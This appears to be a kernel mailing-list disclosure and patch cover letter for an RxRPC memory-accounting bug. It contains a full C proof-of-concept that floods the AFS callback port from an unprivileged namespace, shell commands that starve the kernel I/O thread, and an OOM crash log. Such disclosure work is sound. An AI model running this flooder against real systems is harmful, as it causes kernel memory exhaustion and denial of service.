[PATCH net v4 0/1] rxrpc: fix encap_rcv skb accounting exhaustion
From: Zihan Xi <hidden>
Date: 2026-09-09 07:45:06
Also in:
lkml, stable
Hi Linux kernel maintainers,
We found and validated an issue in net/rxrpc/io_thread.c and
net/rxrpc/local_object.c. A non-root user can flood the local
RxRPC queue via user and net namespace. The panic below is a
downstream OOM in rxrpc_reject_packet() after privileged CPU
pinning and a SCHED_FIFO hog against krxrpcio/7001, not an
allocation at the encap_rcv enqueue site.
We've tested the patch, and it should not affect any other
functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
rxrpc_encap_rcv() takes encapsulated UDP packets off the UDP receive
path and queues them on the RxRPC local queue without preserving UDP
receive-buffer accounting. A local AF_RXRPC service such as the AFS
callback listener can therefore be flooded with RxRPC-shaped UDP
packets that are no longer limited by the UDP socket rcvbuf.
The recorded panic is not an allocation at the encap_rcv enqueue
site. After privileged CPU pinning and a SCHED_FIFO hog against
krxrpcio/7001, that I/O thread OOMed while sending a reject:
rxrpc_reject_packet() -> sock_alloc_send_pskb() -> __alloc_skb() /
kmalloc_reserve(). Unreclaimable slab at panic was dominated by
skbuff_small_head (583145KB) and skbuff_head_cache (224273KB);
rxrpc_call_jar was only 363KB, so incoming-call setup was not
the main memory impact.
The recorded panic setup also wrote krxrpcio into a frozen cgroup.
That does not stop this kernel I/O thread: the crash Comm is still
krxrpcio/7001 in the allocator. The steps that actually slowed it
were pinning the thread to CPU1 and running a SCHED_FIFO hog on
that CPU:
pid=
for d in /proc/[0-9]*; do
[ "$(cat $d/comm 2>/dev/null)" = "krxrpcio/7001" ] || continue
pid=${d#/proc/}
done
taskset -p 2 "$pid"
taskset -c 1 chrt -f 99 /bin/bash -c "while :; do :; done" &
taskset -c 0 ./poc -t 16 -s 90 -l 8
The flood is the same sender below. Those extra steps are
privileged and are not part of the unshare -Urn Reproducer.
446b3e14525b is the first commit where encap_rcv() queued the skb
for later I/O-thread consumption instead of consuming it
immediately on the UDP receive path.
The patch reaccounts each encapsulated skb against the UDP socket
before queueing it and drops packets once sk_rcvbuf is exhausted.
The I/O thread orphans PACKET skbs when it dequeues them from the
local queue so UDP rmem ownership does not follow those packets onto
call or connection queues. Error-queue skbs keep their existing
destructor. skb_set_owner_r() does not take sk_refcnt, so
rxrpc_destroy_local() still clears sk_user_data under RCU protection
and delays sock_release() until the local queues are purged. That
covers skbs still sitting on local->rx_queue.
sk_forward_alloc is serialised with sk->sk_receive_queue.lock, the
same lock UDP uses. encap_rcv() takes it around the charge; the I/O
thread takes it with spin_lock_bh() around skb_orphan(). The packets
stay on the RxRPC local queue.
For this network-triggered bug we also considered packetdrill, but
the reproducer needs a sustained local flood of unique incoming RxRPC
calls rather than a short packetdrill script, so the dedicated sender
below was the direct way to validate the failure and the fix.
The in-kernel AFS client (CONFIG_AFS_FS) opens a callback manager
socket on UDP port 7001 when a network namespace is created. That
AF_RXRPC service is the krxrpcio/7001 listener the flood targets.
unshare -Urn is enough to get a private netns with that listener.
The crash log below is decoded against the unfixed vmlinux from the
same 7.3.0-rc1+ net/main guest that panicked. Comm: krxrpcio/7001
is the in-kernel I/O thread that invoked the OOM killer from
rxrpc_reject_packet(), not from encap_rcv() itself. The UDP
flood was sent by a non-root process via user and net
namespace. The recorded panic also used the privileged pin and
SCHED_FIFO hog commands above. Putting the I/O thread in
cgroup.freeze did not freeze that kthread.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
That unshare command is the unprivileged flood. The crash log
below is not from that command alone; it used the privileged
pin and SCHED_FIFO hog commands in Bug details.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_SERVICE_ID 1
#define AFS_CB_CALLBACK_OP 204
#define DEFAULT_PORT 7001
#define DEFAULT_THREADS 4
#define DEFAULT_SECONDS 20
#define DEFAULT_PAYLOAD 8
struct __attribute__((packed)) rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t reserved;
uint16_t serviceId;
};
struct thread_args {
struct sockaddr_in6 dst;
int seconds;
size_t payload_len;
uint32_t cid_seed;
unsigned long sent;
};
static volatile sig_atomic_t stop_flag;
static void on_alarm(int sig)
{
(void)sig;
stop_flag = 1;
}
static void *sender_thread(void *arg)
{
struct thread_args *ta = arg;
int fd;
char *packet;
struct rxrpc_wire_header *hdr;
uint32_t *op;
uint32_t *count;
uint32_t seq = 1;
uint32_t cid = ta->cid_seed;
fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket");
return NULL;
}
packet = malloc(sizeof(*hdr) + ta->payload_len);
if (!packet) {
perror("malloc");
close(fd);
return NULL;
}
memset(packet + sizeof(*hdr), 0, ta->payload_len);
hdr = (struct rxrpc_wire_header *)packet;
hdr->callNumber = htonl(1);
hdr->type = RXRPC_PACKET_TYPE_DATA;
hdr->flags = RXRPC_CLIENT_INITIATED;
hdr->userStatus = 0;
hdr->securityIndex = 0;
hdr->reserved = 0;
hdr->serviceId = htons(RXRPC_SERVICE_ID);
op = (uint32_t *)(packet + sizeof(*hdr));
*op = htonl(AFS_CB_CALLBACK_OP);
if (ta->payload_len >= 8) {
count = op + 1;
*count = htonl(1);
}
/*
* Each datagram is a new incoming RxRPC call (seq=1, unique cid).
* That makes the I/O thread do full incoming-call setup, so it
* falls behind encap_rcv and local->rx_queue can grow.
*/
while (!stop_flag) {
hdr->epoch = htonl(0x80000000u | cid);
hdr->cid = htonl(cid << 2);
hdr->seq = htonl(1);
hdr->serial = htonl(seq);
if (sendto(fd, packet, sizeof(*hdr) + ta->payload_len, 0,
(struct sockaddr *)&ta->dst, sizeof(ta->dst)) >= 0) {
ta->sent++;
seq++;
cid += 32;
}
}
free(packet);
close(fd);
return NULL;
}
static void usage(const char *prog)
{
fprintf(stderr, "Usage: %s [-a addr] [-p port] [-t threads] [-s seconds] [-l payload_len]\n", prog);
}
int main(int argc, char **argv)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_port = htons(DEFAULT_PORT),
};
const char *addr = "::1";
int threads = DEFAULT_THREADS;
int seconds = DEFAULT_SECONDS;
size_t payload_len = DEFAULT_PAYLOAD;
pthread_t *tids;
struct thread_args *args;
unsigned long total = 0;
int opt;
while ((opt = getopt(argc, argv, "a:p:t:s:l:h")) != -1) {
switch (opt) {
case 'a':
addr = optarg;
break;
case 'p':
dst.sin6_port = htons((uint16_t)strtoul(optarg, NULL, 0));
break;
case 't':
threads = atoi(optarg);
break;
case 's':
seconds = atoi(optarg);
break;
case 'l':
payload_len = strtoul(optarg, NULL, 0);
break;
default:
usage(argv[0]);
return 1;
}
}
if (threads <= 0 || seconds <= 0 || payload_len < 4 || payload_len > 65000) {
usage(argv[0]);
return 1;
}
if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) {
perror("inet_pton");
return 1;
}
signal(SIGALRM, on_alarm);
alarm(seconds);
tids = calloc((size_t)threads, sizeof(*tids));
args = calloc((size_t)threads, sizeof(*args));
if (!tids || !args) {
perror("calloc");
return 1;
}
pthread_attr_t attr;
if (pthread_attr_init(&attr) != 0) {
perror("pthread_attr_init");
return 1;
}
if (pthread_attr_setstacksize(&attr, 64 * 1024) != 0) {
perror("pthread_attr_setstacksize");
return 1;
}
for (int i = 0; i < threads; i++) {
args[i].dst = dst;
args[i].seconds = seconds;
args[i].payload_len = payload_len;
args[i].cid_seed = 1 + (uint32_t)i;
if (pthread_create(&tids[i], &attr, sender_thread, &args[i]) != 0) {
fprintf(stderr, "pthread_create(%d) failed: %s\n", i, strerror(errno));
stop_flag = 1;
threads = i;
break;
}
}
pthread_attr_destroy(&attr);
for (int i = 0; i < threads; i++) {
pthread_join(tids[i], NULL);
total += args[i].sent;
}
printf("sent_packets=%lu payload_len=%zu threads=%d duration=%d\n",
total, payload_len, threads, seconds);
free(args);
free(tids);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 82.081952][ T4954] krxrpcio/7001 invoked oom-killer: gfp_mask=0xc2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_COMP|__GFP_NOMEMALLOC), order=0, oom_score_adj=0
[ 82.082063][ T4954] CPU: 1 UID: 0 PID: 4954 Comm: krxrpcio/7001 Not tainted 7.3.0-rc1+ #2 PREEMPT(full)
[ 82.082077][ T4954] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 82.082107][ T4954] Call Trac
** replaying previous printk message **
[ 82.082107][ T4954] Call Trace:
[ 82.082126][ T4954] <TASK>
[ 82.082132][ T4954] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 82.082327][ T4954] dump_stack (lib/dump_stack.c:129)
[ 82.082336][ T4954] dump_header (mm/oom_kill.c:464)
[ 82.082460][ T4954] out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[ 82.082474][ T4954] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 82.082489][ T4954] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 82.082537][ T4954] ? __pfx_stack_trace_consume_entry+0x10/0x10
[ 82.082628][ T4954] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 82.082640][ T4954] ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[ 82.082650][ T4954] ? __pfx_stack_trace_save (kernel/stacktrace.c:397)
[ 82.082664][ T4954] ? __kasan_check_write (mm/kasan/shadow.c:37 (discriminator 1))
[ 82.082697][ T4954] ? _raw_spin_unlock_irqrestore (include/linux/spinlock_api_smp.h:210 (discriminator 1) kernel/locking/spinlock.c:221)
[ 82.082733][ T4954] ? __refill_objects_node (include/linux/list.h:140 include/linux/list.h:261 include/linux/list.h:275 mm/slub.c:7276)
[ 82.082753][ T4954] allocate_slab (mm/slub.c:3347 (discriminator 2) mm/slub.c:3470)
[ 82.082764][ T4954] new_slab (mm/slub.c:3513)
[ 82.082774][ T4954] refill_objects (mm/slub.c:7410)
[ 82.082783][ T4954] ? __pcs_replace_empty_main (include/linux/local_lock_internal.h:62 (discriminator 1) mm/slub.c:4762)
[ 82.082849][ T4954] __pcs_replace_empty_main (mm/slub.c:2885 mm/slub.c:4774)
[ 82.082880][ T4954] kmem_cache_alloc_node_noprof (mm/slub.c:4850 mm/slub.c:4984 mm/slub.c:5068)
[ 82.082892][ T4954] ? kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[ 82.083036][ T4954] kmalloc_reserve (net/core/skbuff.c:615 (discriminator 2))
[ 82.083048][ T4954] __alloc_skb (net/core/skbuff.c:715)
[ 82.083060][ T4954] ? __alloc_skb (include/linux/bottom_half.h:20 (discriminator 1) net/core/skbuff.c:697)
[ 82.083087][ T4954] ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[ 82.083103][ T4954] alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6796)
[ 82.083113][ T4954] ? __local_bh_enable_ip (kernel/softirq.c:478)
[ 82.083193][ T4954] ? __sanitizer_cov_trace_switch (kernel/kcov.c:347 (discriminator 1))
[ 82.083273][ T4954] sock_alloc_send_pskb (net/core/sock.c:3015)
[ 82.083286][ T4954] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 82.083329][ T4954] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 82.083349][ T4954] ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2847 (discriminator 2))
[ 82.083360][ T4954] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 82.083371][ T4954] ? ipv6_dev_get_saddr (include/linux/rcupdate.h:882 net/ipv6/addrconf.c:1916)
[ 82.083450][ T4954] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 82.083463][ T4954] __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[ 82.083477][ T4954] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 82.083490][ T4954] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3160)
[ 82.083547][ T4954] ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[ 82.083568][ T4954] ? ip6_mtu (net/ipv6/route.c:3290)
[ 82.083585][ T4954] ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[ 82.083598][ T4954] ip6_make_skb (net/ipv6/ip6_output.c:2094)
[ 82.083610][ T4954] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3160)
[ 82.083624][ T4954] ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[ 82.083638][ T4954] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 82.083652][ T4954] udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 82.083677][ T4954] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 82.083753][ T4954] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 82.083766][ T4954] ? ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 82.083816][ T4954] ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[ 82.083829][ T4954] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 82.083840][ T4954] ? kasan_save_stack (mm/kasan/common.c:58)
[ 82.083858][ T4954] ? kasan_save_stack (mm/kasan/common.c:57)
[ 82.083876][ T4954] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 82.083886][ T4954] ? rcu_is_watching (include/linux/context_tracking.h:128 (discriminator 1) kernel/rcu/tree.c:753)
[ 82.083911][ T4954] ? __sanitizer_cov_trace_const_cmp1 (kernel/kcov.c:296)
[ 82.083923][ T4954] ? __sanitizer_cov_trace_switch (kernel/kcov.c:347 (discriminator 1))
[ 82.083936][ T4954] rxrpc_reject_packet (net/rxrpc/output.c:30 net/rxrpc/output.c:863)
[ 82.083988][ T4954] ? rxrpc_reject_packet (net/rxrpc/output.c:30 net/rxrpc/output.c:863)
[ 82.084002][ T4954] ? __pfx_rxrpc_reject_packet (net/rxrpc/output.c:801)
[ 82.084017][ T4954] ? __kasan_check_write (mm/kasan/shadow.c:37 (discriminator 1))
[ 82.084031][ T4954] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 82.084041][ T4954] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4488)
[ 82.084065][ T4954] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 82.084079][ T4954] ? rxrpc_put_peer (net/rxrpc/peer_object.c:447)
[ 82.084096][ T4954] rxrpc_io_thread (net/rxrpc/io_thread.c:478)
[ 82.084113][ T4954] ? __pfx_rxrpc_io_thread (net/rxrpc/io_thread.c:108)
[ 82.084124][ T4954] ? kthread_affine_node (kernel/kthread.c:375)
[ 82.084165][ T4954] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 82.084179][ T4954] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 82.084190][ T4954] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4488)
[ 82.084213][ T4954] ? __pfx_rxrpc_io_thread (net/rxrpc/io_thread.c:108)
[ 82.084224][ T4954] kthread (drivers/block/aoe/aoecmd.c:1243)
[ 82.084235][ T4954] ? kthread (drivers/block/aoe/aoecmd.c:1243)
[ 82.084248][ T4954] ? __pfx_kthread (include/linux/list.h:175 (discriminator 2))
[ 82.084261][ T4954] ret_from_fork (arch/x86/kernel/process.c:158)
[ 82.084292][ T4954] ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:59 (discriminator 3))
[ 82.084302][ T4954] ? __sanitizer_cov_trace_const_cmp8 (kernel/kcov.c:317)
[ 82.084314][ T4954] ? __switch_to (arch/x86/kernel/process_64.c:713 (discriminator 1))
[ 82.084358][ T4954] ? __pfx_kthread (include/linux/list.h:175 (discriminator 2))
[ 82.084371][ T4954] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 82.084388][ T4954] </TASK>
[ 82.084393][ T4954] Mem-Info:
[ 82.084398][ T4954] active_anon:6398 inactive_anon:2845 isolated_anon:0
[ 82.084398][ T4954] active_file:16 inactive_file:52 isolated_file:0
[ 82.084398][ T4954] unevictable:1768 dirty:0 writeback:0
[ 82.084398][ T4954] slab_reclaimable:9829 slab_unreclaimable:240960
[ 82.084398][ T4954] mapped:18 shmem:2716 pagetables:585
[ 82.084398][ T4954] sec_pagetables:0 bounce:0
[ 82.084398][ T4954] kernel_misc_reclaimable:0
[ 82.084398][ T4954] free:13879 free_pcp:431 free_cma:0
[ 82.084722][ T4954] Node 0 active_anon:25592kB inactive_anon:11380kB active_file:64kB inactive_file:208kB unevictable:7072kB isolated(anon):0kB isolated(file):0kB mapped:72kB dirty:0kB writeback:0kB shmem:10864kB shmem_thp:0kB shmem_pmdmapped:0kB anon_thp:0kB kernel_stack:9792kB pagetables:2340kB sec_pagetables:0kB all_unreclaimable? no Balloon:0kB gpu_active:0kB gpu_reclaim:0kB
[ 82.084754][ T4954] Node 0 DMA free:5668kB boost:0kB min:524kB low:652kB high:780kB reserved_highatomic:0kB free_highatomic:0kB active_anon:4kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB writepending:0kB zspages:0kB present:15992kB managed:15360kB mlocked:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB
[ 82.084797][ T4954] lowmem_reserve[]: 0 1295 1295 1295 1295
[ 82.084816][ T4954] Node 0 DMA32 free:49848kB boost:6144kB min:50672kB low:61804kB high:72936kB reserved_highatomic:0kB free_highatomic:0kB active_anon:25588kB inactive_anon:11380kB active_file:64kB inactive_file:208kB unevictable:7072kB writepending:0kB zspages:0kB present:2080640kB managed:1326204kB mlocked:0kB bounce:0kB free_pcp:1724kB local_pcp:832kB free_cma:0kB
[ 82.084846][ T4954] lowmem_reserve[]: 0 0 0 0 0
[ 82.084864][ T4954] Node 0 DMA: 1*4kB (M) 2*8kB (UM) 1*16kB (M) 2*32kB (UM) 1*64kB (M) 1*128kB (M) 1*256kB (M) 2*512kB (UM) 2*1024kB (UM) 1*2048kB (U) 0*4096kB = 5668kB
[ 82.084963][ T4954] Node 0 DMA32: 937*4kB (UME) 771*8kB (ME) 384*16kB (ME) 182*32kB (UME) 91*64kB (ME) 51*128kB (UME) 19*256kB (M) 13*512kB (UM) 2*1024kB (M) 1*2048kB (M) 0*4096kB = 49852kB
[ 82.088154][ T4954] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[ 82.088164][ T4954] Node 0 hugepages_total=4 hugepages_free=4 hugepages_surp=0 hugepages_size=2048kB
[ 82.088172][ T4954] 3096 total pagecache pages
[ 82.088193][ T4954] 0 pages in swap cache
[ 82.088199][ T4954] Free swap = 0kB
[ 82.088202][ T4954] Total swap = 0kB
[ 82.088206][ T4954] 524158 pages RAM
[ 82.088209][ T4954] 0 pages HighMem/MovableOnly
[ 82.088212][ T4954] 188767 pages reserved
[ 82.088216][ T4954] 0 pages cma reserved
[ 82.088220][ T4954] Unreclaimable slab info:
[ 82.088223][ T4954] Name Used Total
[ 82.088251][ T4954] bio-464 17KB 22KB
[ 82.088258][ T4954] bio-528 19KB 31KB
[ 82.088266][ T4954] bio-544 19KB 31KB
[ 82.088273][ T4954] bio-552 19KB 31KB
[ 82.088390][ T4954] TIPC 19KB 30KB
[ 82.088399][ T4954] SCTPv6 25KB 30KB
[ 82.088408][ T4954] RXRPC 46KB 64KB
[ 82.088415][ T4954] rxrpc_call_jar 363KB 382KB
[ 82.088424][ T4954] fib6_node 15KB 16KB
[ 82.088431][ T4954] ip6_dst_cache 15KB 18KB
[ 82.088438][ T4954] RAWv6 16KB 30KB
[ 82.088445][ T4954] UDPv6 67KB 94KB
[ 82.088452][ T4954] TCPv6 74KB 91KB
[ 82.088467][ T4954] t10_alua_lu_gp_cache 8KB 11KB
[ 82.088477][ T4954] scsi_sense_cache 15KB 16KB
[ 82.088485][ T4954] virtio_scsi_cmd 21KB 24KB
[ 82.088494][ T4954] bio-136 43KB 44KB
[ 82.088505][ T4954] bio-264 10KB 15KB
[ 82.088512][ T4954] mqueue_inode_cache 19KB 30KB
[ 82.088521][ T4954] f2fs_evict_inode_work 7KB 7KB
[ 82.088530][ T4954] bio-272 10KB 15KB
[ 82.088537][ T4954] f2fs_bio_post_read_ctx 30KB 31KB
[ 82.088559][ T4954] jfs_mp 14KB 15KB
[ 82.088572][ T4954] cifs_small_rq 28KB 32KB
[ 82.088580][ T4954] cifs_request 67KB 67KB
[ 82.088587][ T4954] cifs_mpx_ids 8KB 11KB
[ 82.088605][ T4954] cifs_io_subrequest 42KB 47KB
[ 82.088611][ T4954] cifs_io_request 105KB 111KB
[ 82.088622][ T4954] nfs_commit_data 24KB 31KB
[ 82.088899][ T4954] nfs_write_data 40KB 47KB
[ 82.088935][ T4954] jbd2_inode 10KB 11KB
[ 82.088944][ T4954] ext4_system_zone 0KB 3KB
[ 82.088952][ T4954] ext4_io_end_vec 3KB 7KB
[ 82.090664][ T4954] fasync_cache 9KB 11KB
[ 82.090677][ T4954] kvm_gmem_inode_cache 15KB 15KB
[ 82.090687][ T4954] rpc_buffers 25KB 31KB
[ 82.090697][ T4954] rpc_tasks 8KB 11KB
[ 82.090704][ T4954] UNIX-STREAM 42KB 127KB
[ 82.090711][ T4954] UNIX 53KB 127KB
[ 82.090719][ T4954] tcp_bind2_bucket 14KB 16KB
[ 82.090726][ T4954] tcp_bind_bucket 15KB 16KB
[ 82.090733][ T4954] ip_fib_trie 3KB 4KB
[ 82.090741][ T4954] ip_fib_alias 5KB 7KB
[ 82.090748][ T4954] rtable 11KB 16KB
[ 82.090754][ T4954] RAW 22KB 31KB
[ 82.090761][ T4954] UDP 17KB 63KB
[ 82.090767][ T4954] request_sock_TCP 5KB 15KB
[ 82.090774][ T4954] TCP 68KB 87KB
[ 82.090780][ T4954] fs_bio_integrity 7KB 8KB
[ 82.090789][ T4954] hugetlbfs_inode_cache 14KB 15KB
[ 82.090796][ T4954] netfs_subrequest 35KB 37KB
[ 82.090804][ T4954] netfs_request 105KB 111KB
[ 82.090811][ T4954] bio-288 31KB 31KB
[ 82.090817][ T4954] bio-328 12KB 15KB
[ 82.090824][ T4954] ep_head 4KB 15KB
[ 82.090831][ T4954] eventpoll_pwq 8KB 19KB
[ 82.090838][ T4954] eventpoll_epi 22KB 51KB
[ 82.090845][ T4954] inotify_inode_mark 36KB 39KB
[ 82.090852][ T4954] bpf_fs_inode_cache 14KB 15KB
[ 82.090860][ T4954] sgpool-128 140KB 148KB
[ 82.090866][ T4954] sgpool-64 80KB 95KB
[ 82.090874][ T4954] sgpool-32 40KB 47KB
[ 82.090881][ T4954] sgpool-16 17KB 45KB
[ 82.090887][ T4954] sgpool-8 22KB 22KB
[ 82.090894][ T4954] bio_crypt_ctx 9KB 11KB
[ 82.090902][ T4954] bio_integrity_data 7KB 8KB
[ 82.090908][ T4954] request_queue 195KB 211KB
[ 82.090915][ T4954] blkdev_ioc 12KB 19KB
[ 82.090922][ T4954] bio-200 68KB 71KB
[ 82.090941][ T4954] biovec-max 454KB 535KB
[ 82.090948][ T4954] biovec-128 31KB 63KB
[ 82.090955][ T4954] biovec-64 60KB 63KB
[ 82.090961][ T4954] biovec-16 20KB 22KB
[ 82.090970][ T4954] uid_cache 13KB 18KB
[ 82.090977][ T4954] dmaengine-unmap-256 26KB 30KB
[ 82.090984][ T4954] dmaengine-unmap-128 14KB 15KB
[ 82.091074][ T4954] dmaengine-unmap-16 7KB 8KB
[ 82.091082][ T4954] dmaengine-unmap-2 3KB 4KB
[ 82.091088][ T4954] QIPCRTR 18KB 31KB
[ 82.091095][ T4954] audit_buffer 9KB 23KB
[ 82.091101][ T4954] skbuff_small_head 583145KB 583145KB
[ 82.091109][ T4954] skbuff_fclone_cache 18KB 45KB
[ 82.091115][ T4954] skbuff_head_cache 224273KB 224276KB
[ 82.091122][ T4954] configfs_dir_cache 15KB 16KB
[ 82.091130][ T4954] file_lock_cache 7KB 19KB
[ 82.091136][ T4954] file_lock_ctx 19KB 23KB
[ 82.091143][ T4954] fsnotify_inode_mark_connector 32KB 35KB
[ 82.091151][ T4954] taskstats 44KB 47KB
[ 82.091157][ T4954] mem_cgroup_per_node 122KB 153KB
[ 82.091164][ T4954] mem_cgroup 140KB 150KB
[ 82.091172][ T4954] proc_dir_entry 277KB 300KB
[ 82.091178][ T4954] pde_opener 3KB 3KB
[ 82.091193][ T4954] seq_file 4KB 15KB
[ 82.091200][ T4954] sigqueue 4KB 15KB
[ 82.091209][ T4954] shmem_inode_cache 8366KB 8485KB
[ 82.091269][ T4954] kernfs_iattrs_cache 134KB 149KB
[ 82.091288][ T4954] kernfs_node_cache 17766KB 18013KB
[ 82.091296][ T4954] mnt_cache 59KB 86KB
[ 82.091312][ T4954] filp 220KB 779KB
[ 82.091319][ T4954] names_cache 10KB 28KB
[ 82.091326][ T4954] net_namespace 38KB 58KB
[ 82.091334][ T4954] ima_iint_cache 141KB 143KB
[ 82.091340][ T4954] hashtab_node 274KB 274KB
[ 82.091347][ T4954] ebitmap_node 1155KB 1169KB
[ 82.091355][ T4954] avtab_node 4975KB 4976KB
[ 82.091367][ T4954] avc_node 58KB 91KB
[ 82.091410][ T4954] lsm_inode_cache 4637KB 5797KB
[ 82.091421][ T4954] lsm_file_cache 32KB 192KB
[ 82.091427][ T4954] key_jar 32KB 39KB
[ 82.091433][ T4954] uts_namespace 22KB 30KB
[ 82.091440][ T4954] nsproxy 11KB 15KB
[ 82.091471][ T4954] vm_area_struct 818KB 1481KB
[ 82.091478][ T4954] fs_cache 15KB 28KB
[ 82.091485][ T4954] files_cache 59KB 127KB
[ 82.091493][ T4954] task_exec_state 5KB 24KB
[ 82.091504][ T4954] signal_cache 536KB 1571KB
[ 82.091518][ T4954] sighand_cache 684KB 2014KB
[ 82.091569][ T4954] task_struct 2421KB 4125KB
[ 82.091583][ T4954] cred 96KB 300KB
[ 82.091595][ T4954] anon_vma_chain 199KB 378KB
[ 82.091608][ T4954] anon_vma 253KB 394KB
[ 82.091619][ T4954] pid 112KB 266KB
[ 82.091628][ T4954] Acpi-Operand 53KB 110KB
[ 82.091648][ T4954] Acpi-ParseExt 14KB 31KB
[ 82.091655][ T4954] Acpi-Parse 9KB 31KB
[ 82.091842][ T4954] Acpi-State 12KB 27KB
[ 82.091849][ T4954] Acpi-Namespace 28KB 32KB
[ 82.091856][ T4954] numa_policy 3KB 4KB
[ 82.091862][ T4954] perf_event 15KB 31KB
[ 82.091869][ T4954] trace_event_file 547KB 548KB
[ 82.091876][ T4954] ftrace_event_field 1057KB 1059KB
[ 82.091883][ T4954] pool_workqueue 528KB 528KB
[ 82.091906][ T4954] maple_node 502KB 1616KB
[ 82.091914][ T4954] mm_struct 92KB 478KB
[ 82.091930][ T4954] vmap_area 403KB 542KB
[ 82.091936][ T4954] debug_objects_cache 2163KB 2167KB
[ 82.091945][ T4954] page->ptl 36KB 122KB
[ 82.091952][ T4954] kmalloc-cg-8k 160KB 160KB
[ 82.091959][ T4954] kmalloc-cg-4k 792KB 1056KB
[ 82.091968][ T4954] kmalloc-cg-2k 1060KB 1216KB
[ 82.091976][ T4954] kmalloc-cg-1k 180KB 320KB
[ 82.091983][ T4954] kmalloc-cg-512 88KB 192KB
[ 82.091990][ T4954] kmalloc-cg-256 75KB 88KB
[ 82.091997][ T4954] kmalloc-cg-128 1039KB 1052KB
[ 82.092008][ T4954] kmalloc-cg-64 50KB 220KB
[ 82.092017][ T4954] kmalloc-cg-32 423KB 448KB
[ 82.092024][ T4954] kmalloc-cg-16 3KB 8KB
[ 82.092030][ T4954] kmalloc-cg-8 3KB 8KB
[ 82.092036][ T4954] kmalloc-cg-192 20KB 24KB
[ 82.092044][ T4954] kmalloc-cg-96 350KB 372KB
[ 82.092055][ T4954] kmalloc-8k 1632KB 1792KB
[ 82.092098][ T4954] kmalloc-4k 2768KB 6944KB
[ 82.092105][ T4954] kmalloc-2k 10004KB 10016KB
[ 82.092113][ T4954] kmalloc-1k 3240KB 3328KB
[ 82.092128][ T4954] kmalloc-512 5370KB 5984KB
[ 82.092138][ T4954] kmalloc-256 3348KB 3456KB
[ 82.092157][ T4954] kmalloc-128 884KB 1068KB
[ 82.092206][ T4954] kmalloc-64 3017KB 3252KB
[ 82.092387][ T4954] kmalloc-32 446KB 1092KB
[ 82.092398][ T4954] kmalloc-16 518KB 532KB
[ 82.092407][ T4954] kmalloc-8 377KB 400KB
[ 82.092424][ T4954] kmalloc-192 699KB 852KB
[ 82.092441][ T4954] kmalloc-96 1234KB 1328KB
[ 82.092447][ T4954] kmem_cache_node 108KB 110KB
[ 82.092454][ T4954] kmem_cache 180KB 180KB
[ 82.092464][ T4954] Memory cgroup min protection 0kB -- low protection 0kB
[ 82.092469][ T4954] Tasks state (memory values in pages):
